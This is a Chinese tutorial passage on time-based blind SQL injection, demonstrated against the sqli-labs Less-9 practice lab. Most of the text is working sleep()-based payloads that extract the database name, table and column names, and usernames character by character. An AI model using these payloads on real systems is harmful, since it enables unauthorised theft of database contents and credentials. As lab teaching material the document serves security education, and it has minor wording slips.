1.4 Sleep注入时所用函数
Sleep注入的方式(实验)
第一步,我们输入www.any.com/sqli/Less-9/?id=1,发现页面回显正常。
第二步,我们输入www.any.com/sqli/Less-9/?id=1’,发现页面依旧回显正常。因为我们输入什么都回显正常,所以判断它为布尔型盲注。
第三步,我们用基于时间型的盲注,来查看数据库的名称。输入:www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<116,0,5)) %23,页面立即回显,说明数据库的第一个字符小于ASCII值116
输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<115,0,5 )) %23,页面暂停了五秒回显,综上所述,说明数据库的第一个字符就是ASCII码115所对应的s。
第四步,我们得知了数据库,就要获取他的数据表。输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<102,0,5 )) %23,页面立即返回,说明表名的第一个字符小于102ASCII值
输入:www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<101,0,5 ))%23,页面暂停了五秒回显,综上所述,说明数据表的第一个字符就是ASCII码101所对应的是e。
依次类推,得到数据库的所有表名,分别为emails,referers,uagents,users。
第五步,我们得知了数据表,就要获取它表中的所有列。我们以user表为例,查看它的所有列。输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))<106,0,5 )) %23,页面立即回显,说明user表中列名称的第一个字符小于106ASCII值。
输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))<105,0,5 )) %23,页面暂停了五秒回显,综上所述,说明user表中列的第一个字符就是ASCII码105所对应的是i。
依次类推,得到user表中的所有列名,分别为id,username,password。
第六步,我们得到了user表中的所有列名,就要查看它列名里的字段内容,我们这里以username这一列为例。
输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<69,0,5 )) %23,页面立即回显。这就说明id列中的第一个字段内容的ASCII码值小于69。
输入:http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<68,0,5 )) %23,页面暂停五秒回显,综上所述,说明username列中的第一个字符就是ASCII码68所对应的是D
依次类推,得到username列中的第一个值为Dumb。